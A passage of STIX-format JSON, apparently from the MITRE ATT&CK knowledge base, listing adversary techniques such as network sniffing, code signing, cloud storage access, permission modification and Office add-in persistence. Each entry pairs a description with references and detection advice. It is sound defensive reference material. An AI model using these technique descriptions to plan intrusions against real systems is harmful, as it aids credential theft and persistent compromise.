                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:19.739Z",
            "name": "Network Sniffing",
            "description": "Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or [Defense Evasion](https://attack.mitre.org/tactics/TA0005) activities. Adversaries may likely also utilize network sniffing during [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) (AiTM) to passively gain additional knowledge about the environment.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)\n\nOn network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
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            "x_mitre_contributors": [
                "Oleg Kolesnikov, Securonix",
                "Tiago Faria, 3CORESec",
                "Austin Clark, @c2defense",
                "Itamar Mizrahi, Cymptom",
                "Eliraz Levi, Hunters"
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            "x_mitre_detection": "Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nIn cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic.",
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
                "Network Devices",
                "IaaS"
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            "id": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
            "created": "2017-05-31T21:30:27.755Z",
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                    "url": "https://attack.mitre.org/techniques/T1017",
                    "external_id": "T1017"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/187.html",
                    "external_id": "CAPEC-187"
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            "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.",
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Windows"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1553/002",
                    "external_id": "T1553.002"
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                {
                    "source_name": "EclecticLightChecksonEXECodeSigning",
                    "description": "Howard Oakley. (2020, November 16). Checks on executable code in Catalina and Big Sur: a first draft. Retrieved September 21, 2022.",
                    "url": "https://eclecticlight.co/2020/11/16/checks-on-executable-code-in-catalina-and-big-sur-a-first-draft/"
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                {
                    "source_name": "Securelist Digital Certificates",
                    "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
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                {
                    "source_name": "Symantec Digital Certificates",
                    "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"
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                {
                    "source_name": "Wikipedia Code Signing",
                    "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Code_signing"
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            "name": "Code Signing",
            "description": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ",
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                {
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                    "phase_name": "defense-evasion"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "T1530"
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                {
                    "source_name": "Amazon S3 Security, 2019",
                    "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.",
                    "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/"
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                {
                    "source_name": "Microsoft Azure Storage Security, 2019",
                    "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide"
                },
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                    "source_name": "Wired Magecart S3 Buckets, 2019",
                    "description": "Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains\u2014and Counting. Retrieved October 4, 2019.",
                    "url": "https://www.wired.com/story/magecart-amazon-cloud-hacks/"
                },
                {
                    "source_name": "Google Cloud Storage Best Practices, 2019",
                    "description": "Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019.",
                    "url": "https://cloud.google.com/storage/docs/best-practices"
                },
                {
                    "source_name": "HIPAA Journal S3 Breach, 2017",
                    "description": "HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.",
                    "url": "https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/"
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                {
                    "source_name": "Rclone-mega-extortion_05_2021",
                    "description": "Justin Schoenfeld, Aaron Didier. (2021, May 4). Transferring leverage in a ransomware attack. Retrieved July 14, 2022.",
                    "url": "https://redcanary.com/blog/rclone-mega-extortion/"
                },
                {
                    "source_name": "Trend Micro S3 Exposed PII, 2017",
                    "description": "Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.",
                    "url": "https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia"
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            "description": "Adversaries may access data from cloud storage.\n\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \n\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). \n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.",
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                "Praetorian",
                "AppOmni",
                "Arun Seelagan, CISA"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_data_sources": [
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            "created": "2020-03-02T14:30:05.252Z",
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                    "url": "https://attack.mitre.org/techniques/T1565/003",
                    "external_id": "T1565.003"
                },
                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download"
                },
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"
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            "modified": "2025-04-15T23:01:11.644Z",
            "name": "Runtime Data Manipulation",
            "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "macOS",
                "Windows"
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
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                "File: File Metadata",
                "File: File Creation"
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            "x_mitre_impact_type": [
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            "created": "2020-02-04T12:58:40.678Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1552/002",
                    "external_id": "T1552.002"
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                {
                    "source_name": "Pentestlab Stored Credentials",
                    "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.",
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            "x_mitre_detection": "Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1135",
                    "external_id": "T1135"
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                {
                    "source_name": "TechNet Shared Folder",
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                    "url": "https://technet.microsoft.com/library/cc770880.aspx"
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                    "source_name": "Wikipedia Shared Resource",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Linux"
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                "Process: Process Creation"
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        {
            "type": "attack-pattern",
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            "id": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
            "created": "2017-05-31T21:31:28.471Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1120",
                    "external_id": "T1120"
                },
                {
                    "source_name": "Peripheral Discovery Linux",
                    "description": "Shahriar Shovon. (2018, March). List USB Devices Linux. Retrieved March 11, 2022.",
                    "url": "https://linuxhint.com/list-usb-devices-linux/"
                },
                {
                    "source_name": "Peripheral Discovery macOS",
                    "description": "SS64. (n.d.). system_profiler. Retrieved March 11, 2022.",
                    "url": "https://ss64.com/osx/system_profiler.html"
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            "modified": "2025-04-25T15:15:22.038Z",
            "name": "Peripheral Device Discovery",
            "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.",
            "kill_chain_phases": [
                {
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "id": "attack-pattern--34a80bc4-80f2-46e6-94ff-f3265a4b657c",
            "created": "2023-09-27T19:49:40.815Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036/009",
                    "external_id": "T1036.009"
                },
                {
                    "source_name": "3OHA double-fork 2022",
                    "description": "Juan Tapiador. (2022, April 11). UNIX daemonization and the double fork. Retrieved September 29, 2023.",
                    "url": "https://0xjet.github.io/3OHA/2022/04/11/post.html"
                },
                {
                    "source_name": "Microsoft XorDdos Linux Stealth 2022",
                    "description": "Microsoft Threat Intelligence. (2022, May 19). Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices. Retrieved September 27, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/"
                },
                {
                    "source_name": "Sandfly BPFDoor 2022",
                    "description": "The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.",
                    "url": "https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"
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            "x_mitre_deprecated": false,
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            "id": "attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5",
            "created": "2020-10-02T15:49:03.815Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1590/004",
                    "external_id": "T1590.004"
                },
                {
                    "source_name": "DNS Dumpster",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
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                    "url": "https://attack.mitre.org/techniques/T1587/002",
                    "external_id": "T1587.002"
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                    "source_name": "Wikipedia Code Signing",
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            "modified": "2025-04-15T22:05:55.035Z",
            "name": "Code Signing Certificates",
            "description": "Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created": "2020-02-04T19:17:41.767Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1222/001",
                    "external_id": "T1222.001"
                },
                {
                    "source_name": "Hybrid Analysis Icacls1 June 2018",
                    "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
                    "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"
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                    "source_name": "Hybrid Analysis Icacls2 May 2018",
                    "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
                    "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"
                },
                {
                    "source_name": "Microsoft Access Control Lists May 2018",
                    "description": "M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists"
                },
                {
                    "source_name": "Microsoft DACL May 2018",
                    "description": "Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.",
                    "url": "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces"
                },
                {
                    "source_name": "EventTracker File Permissions Feb 2014",
                    "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.",
                    "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/"
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            "modified": "2025-04-15T23:21:45.352Z",
            "name": "Windows File and Directory Permissions Modification",
            "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",
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                    "phase_name": "defense-evasion"
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            ],
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            "x_mitre_detection": "Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)",
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Active Directory: Active Directory Object Modification",
                "Process: Process Creation",
                "File: File Metadata"
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            "id": "attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d",
            "created": "2019-11-07T19:52:52.801Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1137/006",
                    "external_id": "T1137.006"
                },
                {
                    "source_name": "FireEye Mail CDS 2018",
                    "description": "Caban, D. and Hirani, M. (2018, October 3). You\u2019ve Got Mail! Enterprise Email Compromise. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190508170121/https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf"
                },
                {
                    "source_name": "MRWLabs Office Persistence Add-ins",
                    "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"
                },
                {
                    "source_name": "Microsoft Office Add-ins",
                    "description": "Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.",
                    "url": "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460"
                },
                {
                    "source_name": "GlobalDotName Jun 2019",
                    "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.",
                    "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"
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            "modified": "2025-04-15T21:45:27.400Z",
            "name": "Add-ins",
            "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ",
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            "x_mitre_detection": "Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior",
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
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            "id": "attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1",
            "created": "2019-12-12T15:08:20.972Z",
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                    "url": "https://attack.mitre.org/techniques/T1505/002",
                    "external_id": "T1505.002"
                },
                {
                    "source_name": "Microsoft TransportAgent Jun 2016",
                    "description": "Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019.",
                    "url": "https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help"
                },
                {
                    "source_name": "ESET LightNeuron May 2019",
                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf"
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            "modified": "2025-04-25T14:46:19.364Z",
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            "description": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ",
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            "x_mitre_contributors": [
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            "x_mitre_detection": "Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Application Log: Application Log Content"
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        {
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            "id": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "created": "2017-05-31T21:31:04.307Z",
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                    "url": "https://attack.mitre.org/techniques/T1082",
                    "external_id": "T1082"
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                {
                    "source_name": "Amazon Describe Instance",
                    "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.",
                    "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html"
                },
                {
                    "source_name": "Google Instances Resource",
                    "description": "Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.",
                    "url": "https://cloud.google.com/compute/docs/reference/rest/v1/instances"
                },
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                    "source_name": "Varonis",
                    "description": "Jason Hill. (2023, February 8). VMware ESXi in the Line of Ransomware Fire. Retrieved March 26, 2025.",
                    "url": "https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire"
                },
                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
                },
                {
                    "source_name": "Microsoft Virutal Machine API",
                    "description": "Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.",
                    "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get"
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                {
                    "source_name": "20 macOS Common Tools and Techniques",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
                    "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
                },
                {
                    "source_name": "OSX.FairyTale",
                    "description": "Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021.",
                    "url": "https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
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            "name": "System Information Discovery",
            "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the <code>systemsetup</code> configuration tool on macOS. As an example, adversaries with user-level access can execute the <code>df -aH</code> command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. <code>show version</code>).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get`, `system version get`, and `storage filesystem list` (to list storage volumes).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\n\n[System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common 